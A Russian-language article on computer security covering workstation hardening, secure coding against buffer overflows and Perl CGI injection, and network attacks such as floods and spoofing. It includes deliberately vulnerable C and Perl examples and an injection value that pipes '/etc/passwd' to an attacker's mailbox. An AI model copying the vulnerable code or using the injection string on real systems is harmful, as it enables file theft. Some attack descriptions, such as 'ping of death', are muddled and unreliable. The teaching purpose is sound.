Персональная и корпоративная пользовательские машины.
Процессы обеспечения информационной безопасности для рабочей станции корпоративного и обычного пользователя ПК во многом совпадают. Обсудим несходства.
Банальный совет: установите антивирус и файерволл. Kaspersky Internet Security Suite - комплексное решение, сокращающее время настройки и предотвращающее возможные конфликты между программным обеспечением. Также подходят Kaspersky Anti Virus, Kaspersky Anti
Hacker, Agnitum Outpost Firewall и, пожалуй,
Dr.Web. Связка продуктов от Касперского блокирует вредоносные скрипты, модули, вирусы, хакерские атаки и др. К плюсам Agnitum Outpost Firewall относится, в частности, блокирование баннеров. Его дополнительную функциональность для других продуктов можно реализовать с помощью стороннего ПО. Dr.Web - обыкновенный антивирус, главным достоинством которого является сравнительно небольшая загрузка ресурсов. К зарубежным файерволлам и антивирусам
(Norton Anti Virus, Panda Anti Virus, Kerio, Sygate Personal Firewall и т.д.)
после длительного опыта общения с ними я отношусь крайне неодобрительно. По качеству и скорости работы они значительно уступают отечественным продуктам.
Установка антивируса и файерволла, к сожалению, не панацея. Написать вирус, не определяемый никакими антивирусами сегодня не проблема. Обход файерволлов легко реализуется с помощью инжектирования кода в адресное пространство доверенного процесса. Беспроигрышный вариант
(и таковым он, скорее всего, будет ещё долго) - исполнение вредоносной программы в привилегированном режиме процессора
(режиме ядра, нулевом кольце), что поможет, в частности, обойти сетевые фильтры файерволла, драйвер файловой системы, антивирус и проч. Поэтому обеспечивать безопасность компьютера нужно так, чтобы проникнувшая на машину вредоносная программа имела минимальные "шансы на выживание" и не могла нанести значительный ущерб.
Во - первых, следует отключить ненужные сервисы, как - то: "Удалённый реестр", "Telnet" и все службы, предоставляющие возможность удалённого управления системой. На обычной рабочей станции они, как правило, не нужны. Ни в коем случае не позволяйте пользователям работать под аккаунтом администратора или root`а. Это относится и к домашним пользователям - несколько неосторожных действий, и восстановить систему будет чрезвычайно трудно/невозможно. Такая мера предосторожности поможет защититься от вредоносных программ: многие задачи вируса
(троянского коня и т.д.) могут быть реализованы только при наличии повышенных привилегий в системе. Вирус, запущенный в непривилегированном режиме, существенно ограничен в своих возможностях. Очень полезно подменить cmd - интерпретатор команд
(точнее его название) с последующим редактированием соответствующей переменной среды. А своевременное обновление антивирусных баз и наложение патчей на систему - непреложное правило.
Следует помнить, что угроза системе безопасности корпоративной сети исходит не только из внешней среды, но и от локальных пользователей сети. Поэтому необходимо определить, к каким ресурсам
(устройствам) сети и рабочего компьютера пользователь может иметь доступ. Нет смысла позволять всем подряд работать, например, с CD - приводами и/или флоппи - дисководами. Часто разрушительный вирус проникает в корпоративную сеть не в результате хакерской атаки, а с диска, с которого пользователь по незнанию или намеренно инсталлировал вредоносную
(заражённую) программу. Реализовать политику разграничения доступа призваны стандартные средства Windows
(например, апплет настройки групповых политик gpedit.msc) и отдельные программные продукты сторонних разработчиков.
Большая проблема локальных сетей - сниффинг. Перехват информации в последнее время одно из самых любимых "развлечений" пользователей локальных сетей. Метод защиты - использование специальных программ для детектирования активных снифферов и шифрование передаваемых по сети данных, что осуществляется посредством замены небезопасных версий сетевых протоколов на их более защищённые аналоги. Но так как в большинстве случаев такую замену произвести невозможно, разумно пользоваться защитами, работающими на третьем уровне, например, IPSec. Ещё один способ - определить, в каком сетевом режиме находится пользователь; если в promiscuous, то это верный признак того, что пользователь в данный момент занимается сниффингом.
И последнее: защита от локальных хакеров. Некоторые пользователи не прочь сделать дефейс главной страницы web - сайта фирмы, в которой работают. Есть много способов защиты от этой напасти, например, отконфигурировать squid
(и любую другую программу, через которую проходит траффик локальной сети компании) на блокирование пакетов с заданными shell - кодами и т.п. и при обнаружении оных выводить пользователю соответствующее сообщение.
Написание защищённого кода как один из главных аспектов обеспечения информационной безопасности программных продуктов.
Хакерские атаки в 90% случаев используют уязвимости в программном обеспечении. Написать программное обеспечение без ошибок невозможно, но халатное отношение большинства разработчиков к безопасности своего кода очевидно. Защищённый код должен быть приоритетом при разработке программного обеспечения. Необходимо, во - первых, знать основные принципы создания защищённого кода и уметь грамотно применять их, а во - вторых, нелишне использовать специальные утилиты, патчи к компиляторам и т.д. для облегчения задачи программиста. Обсудим это.
Следует различать безопасность кода, написанного на C и на Perl. В так называемых web - языках
(Perl, Php, Asp) программист должен главным образом заботиться о параметрах, передаваемых скрипту. В остальных языках
(C, Pasсal) нужно в первую очередь решать проблемы, связанные с переполнением буфера и тому подобными вещами. Сделаем краткий обзор основных постулатов создания защищённого кода:
1) Всегда проверять длину строки (и всего остального) перед копированием в буфер;
2) Динамически задавать размер буфера в зависимости от пользовательского ввода;
3) Использовать более защищённые аналоги повседневных функций: fgets вместо gets, strncpy вместо strcpy, snprinf вместо sprintf и т.д.;
4) Если задать/проверить длину передаваемых данных по каким - либо причинам невозможно, нужно использовать защиту на основе canary word. Её суть: при объявлении буфера его размер определяется на четыре байте больше, чем нужно. Перед использованием буфера в эти четыре лишних байта записывается случайно сгенерированное двойное слово
(canary word), которое также копируется в независимую глобальную переменную. По завершении работы с буфером нужно лишь сравнить глобальную переменную с четырьмя байтами хвоста буфера. Если совпадают - всё нормально, если нет - буфер переполнен, и необходимо предпринимать соответствующие меры. В качестве примера приведу пару несложных исходников:
#include <windows.h>
#include <stdio.h>
int overflow_check (char *string)
{
char buf[10];
strcpy (buf, string);
return 0;
}
int main()
{
char string[100];
printf ("Enter string:");
gets (string);
overflow_check (string);
puts ("Welcome!");
return 0;
}
Пример хрестоматийный, но актуальности своей не потерял, поскольку огромное число приложений до сих пор грешит такими ошибками. Что нужно, чтобы приложение могло защитить себя? Всего ничего: заменить некоторые функции на их более безопасные аналоги, т.е. вместо
strcpy (buf, string);
нужно
strncpy (buf, string, 9);,
а вместо gets использовать fgets.
Можно модифицировать этот пример, обрамив вызов strcpy if/else:
If (strlen (string) < 10)
{
strcpy (buf, string);
}
else
{
MessageBox, return...
};
и таким образом проконтролировать длину передаваемых в буфер данных.
Существует много разновидностей переполнений: переполнения массивов, структур; переполнения при работе с памятью
(а также неправильный доступ к ней, некорректное освобождение...), например:
while (true)
{
malloc (1);
};
арифметические переполнения:
DWORD summa (DWORD a, DWODR b)
{
return a+b;
}
и др. Переполнить можно практически всё, каждый конкретный случай требует особого подхода, и программисты давно пытаются облегчить труд себе и другим, создавая патчи к ядру и компиляторам, отдельные утилиты; модифицируя или реализуя новые технологии защиты от переполнений
(например, неисполняемый стек) и проч. и проч. Рассмотрим самые интересные из них, обеспечивающие как защиту от переполнений, так и детектирующие ошибки при работе с памятью
(утечку и т.д.).
Начнём с *nix - систем. Про патчи к ядру я уже говорила - они, скорее, для системных администраторов, нежели для программистов. Для вторых же есть следующие инструменты:
1) Memwatch - определяет ошибки работы с памятью. Работает с Gcc, Microsoft Visual C++
(16, 32) и т.д. Многопоточность и C++ практически не поддерживаются.
2) dmalloc - библиотека, замещающая собой стандартные функции для работы с памятью: malloc, calloc, realloc и др. Работает с утечками памяти, выходами за границы переполнения буферов и т.п. Существуют версии как под Windows, так и под многочисленные клоны и разновидности
UNIX.
3) Stack Guard - патч для Gcc, хорошо реализующий защиту с помощью canary
word.
4) ProPolice - патч для Gcc, реализующий защиту от срыва стека и основанный на StackGuard. Входит в дистрибутив OpenBSD и Trusted
Debian.
По адресу http://www.trl.ibm.com/projects/security/ssp
можно найти ещё некоторые утилиты подобного рода.
Напоследок поговорим о технологии неисполняемого стека, заключающейся в том, чтобы запрещать исполнять код в сегментах стека и данных. Она защищает только от внедрения исполняемого кода и неудобна тем, что может помешать компиляторам и интерпретаторам, исполняющим часть кода динамически. Кроме того, её можно обойти
(подробнее ознакомиться с технической реализацией атаки можно на сайте
http://www.insecure.org/sploits/non-executable.stack.problems.html, а скачать соответствующий патч для ядра Linux не выше 2.0, 2.2, 2.4 - на сайте
http://www.false.com/security/linux. Теперь поговорим о Windows.
Про AntiCracker Shield, предназначенный в основном для системных администраторов и обычных пользователей уже говорилось. Для программистов могу посоветовать скорейший переход на Microsoft Visual C++ 7.0, входящий в состав Microsoft VisuaL Studio.Net
(если они до сих пор этого не сделали), так как он включает в себя встроенную проверку на переполнение буферов. Её только нужно активировать: в меню выбираем Configuration Properties > C/C++ > Code Generation и устанавливаем там параметр Buffer Security Check в "Yes". Увы, у этого способа есть минусы:
1) Не защищаются динамические буфера;
2) Колоссально снижается скорость выполнения и степень "удобоваримости" кода. Но это беда всех патчей, ориентированных на защиту от переполнений, неважно, под *nix - системы или под Windows, и вряд ли в ближайшее время будут предложены другие варианты решения проблемы.
Для контроля памяти можно использовать утилиту
NuMega Bounds Checker, встраиваемую в Visual C++. Она отслеживает все операции с памятью и по завершении работы программы выводит отчёт об её “узких” местах.
Перейдём к проблемам написания защищённого кода в web - сценариях
(php, perl, asp, cgi и т.д.). Различают атаки с использованием:
1) переполнения буферов;
2) SQL - иньекций;
3) нефильтруемых метасимволов;
4) SOAP - запросов.
Защиту от подобных запросов можно реализовать с помощью mod_security. О его настройке говорить не будем, а вернёмся к написанию защищённого кода.
Вот, например, устаревший, но кое - где ещё используемый уязвимый код, обращающийся к sendmail:
Use CGI qw (:standart);
$email=param ('email');
open (MAIL,"|usr/sbin/sendmail -t $email");
print MAIL "From:administrator@yandex.ru\n";
print MAIL "Subject:Thanks\n\n Thank you!\n";
close (MAIL);
Слабые места: во - первых, переменная $email не проверяется на специальные символы, а во - вторых, sendmail запускается с ключом -t. В результате, если взломщик введёт свой e - mail в виде krokazjabra@pochta.ru| cat /etc/passwd|mail krokazjabra@pochta.ru, ему придёт на почтовый ящик два письма: обычное и с содержимым файла /etc/passwd. Поэтому для защиты не используйте sendmail с ключом -t и фильтруйте переменную $email на специальные символы:
die print "Incorrect e-mail adress!\n" if ($email=~/[\|;]/||
$email~!/\@/);
open (MAIL,"|usr/sbin/sendmail");
print MAIL "To:$email\n";
Основным принципом защиты от таких напастей, как уязвимость null - byte, позволяющая читать файлы на сервере; атака на пайпы, дающая возможность исполнять команды с правами пользователя, от имени которого запущен web - сервер; разнообразные вариации sql - injection и проч. является проверка переменных, принимающих параметры, на наличие специальных символов, для чего во многих случаях полезны регулярные выражения. Ещё одно правило - использовать в скриптах метод POST, а GET применять только на стадии отладки. Шифруйте в сценариях жёстко прописанные в коде пароли. А при работе с suid - ными сценариями необходима taint - проверка
(опция -T) компилятора, анализирующая использование переменных окружения и опасных параметров и автоматически завершающая выполнение скрипта в случае обнаружения проблемы. Всегда включайте опцию компилятора -w, выдающую в STDERR - поток предупреждения.
То, на что мы не можем повлиять.
Существует множество факторов, от нас не зависящих: уязвимости аппаратных архитектур, стеков протоколов, программных продуктов
(мы редко можем повлиять на разработку ПО)... Изменить ситуацию в данный момент невозможно, но постараться улучшить её - одна из важнейших наших задач. Поговорим об этом.
В одной из самых популярных на сегодняшний день архитектур - x86 - есть моменты, на порядок снижающие защищённость любой компьютерной системы. Они способствуют атакам на переполнение буфера
(например, идеология FILO стека платформы). До тех пор, пока разработки Opteron, Athlon 64, флаг NX в степпинге E0, запрещающий выполнение кода в стеке на аппаратном уровне, не будут усовершенствованы, не станут доступными и не получат поддержки наиболее распространённых операционных систем, надеяться, в сущности, не на что. А так как дело переполнениями стека не ограничивается, критические уязвимости обнаруживаются и на платформе Apple/MacOS, и во множестве других операционных платформ/систем. И если ОС ещё есть смысл повыбирать, то платформа особого значения не имеет.
Следующая проблема - безопасность стека протоколов TCP/IP, который практически полностью безоружен перед многочисленными модификациями DDos
(Dos) атак, сниффингом, спуффингом и т.д. Бороться с этим недостатком придётся своими силами. Надстройки на третьем уровне - наилучший способ защиты от сниффинга
(точнее от перехвата им данных). Также полезно использование UTP
(неэкранированной витой пары) и интеллектуальных свитчей, что обеспечит получение машиной только тех данных, которые адресованы ей. Усложнение процесса определения sequence number защитит от спуффинга. Оно реализуется засчёт повышения скорости изменения sequence number на сервере или случайной генерации коэффициента увеличения sequence number
(алгоритм лучше закриптографировать). Файерволл не должен пропускать пакеты, поступившие извне, но с обратным адресом, соответствующим внутренней сети, и исходящие локальные пакеты во внешнюю сеть, если их адрес не относится к адресам внутренней сети. Шифровать всё!
Две DDos (Dos) атаки, основанные на одном и том же ICMP - протоколе, - это ICMP - flood и ping of death. Устаревший, но по - прежнему эффективный ICMP - flood реализуется путём отсылки серверу больших
(64 кб) и фрагментированных пакетов - операционная система не в состоянии их обработать и виснет. Ping of death основывается на ICMP - flood, только ping - запросы пересылаются по адресу широковещательной рассылки. Здесь в качестве отправителя указан адрес хоста - жертвы, и все компьютеры, получившие такой запрос, разом отсылают ответы, обработать которые хост не может. Способ защиты - настройка маршрутизатора таким образом, чтобы он перестал пропускать превысивший порог допустимой интенсивности ICMP - траффик
(количество пакетов на единицу времени). Запретить такие атаки для локальных пользователей можно также прописанными на маршрутизаторе правилами и ограничением доступа к
ping.
Ещё одна популярная атака - syn flood. Её принцип прост: серверу приходит слишком много запросов на установление соединения, в результате чего он перестаёт реагировать на поступающие ему пакеты. Защита: установка специальных патчей
(например, на основе алгоритма Early Random Drop, реализующего автоматическое прореживание очереди) и настройка файерволла таким образом, чтобы он сам устанавливал все входящие TCP/IP - соединения и затем переадресовывал их на внутреннюю машину.
К каждой атаке нужен индивидуальный подход. Есть, например, локальные Dos
(DDos) атаки, и далеко не все из них старые и неэффективные, в частности, Land, локальные "бури", основанные на UDP - протоколе и др. Но в большинстве своём защита реализуется одинаково: настройка файерволла на блокирование чересчур активного входящего/исходящего траффика по конкретным протоколам, блокирование пакетов, пришедших извне, но с обратным адресом внутренней сети и наоборот и проч.; в случае атак, исходящих от локальных пользователей, необходимо ограничить доступ к инструментам, могущим служить реализации атаки
(зачем обыкновенной рабочей станции корпоративной сети утилита Ping ?), грамотно настроить маршрутизатор и т.д.
Таким образом, мы видим, что кроме дыр в системе безопасности, созданных или оставленных безграмотными системными администраторами, есть вещи, нам не подвластные.
Заключение.
Я постаралась осветить главные направления и концепции обеспечения информационной безопасности практически всех составляющих компьютерной сети. Порой мы приходили к весьма неутешительным выводам. Но тем не менее Интернет до сих пор существует, и огромное число пользователей работает с ним каждый день - так же, как и с компьютерами вообще. От нас, специалистов по информационной безопасности, зависит, будут ли пользователи хоть немного доверять Интернету и компьютерам и продолжать использовать их для хранения своих данных и решения повседневных задач. Тысячам информационных вандалов
(не будем называть их хакерами, помня о кёрнел - хакерах из университета Беркли) такая картина, очевидно, не по душе. Но мы можем по мере сил препятствовать им. Так давайте же не будем усугублять и без того сложную ситуацию и сделаем всё возможное для обеспечения безопасности мира информационных технологий !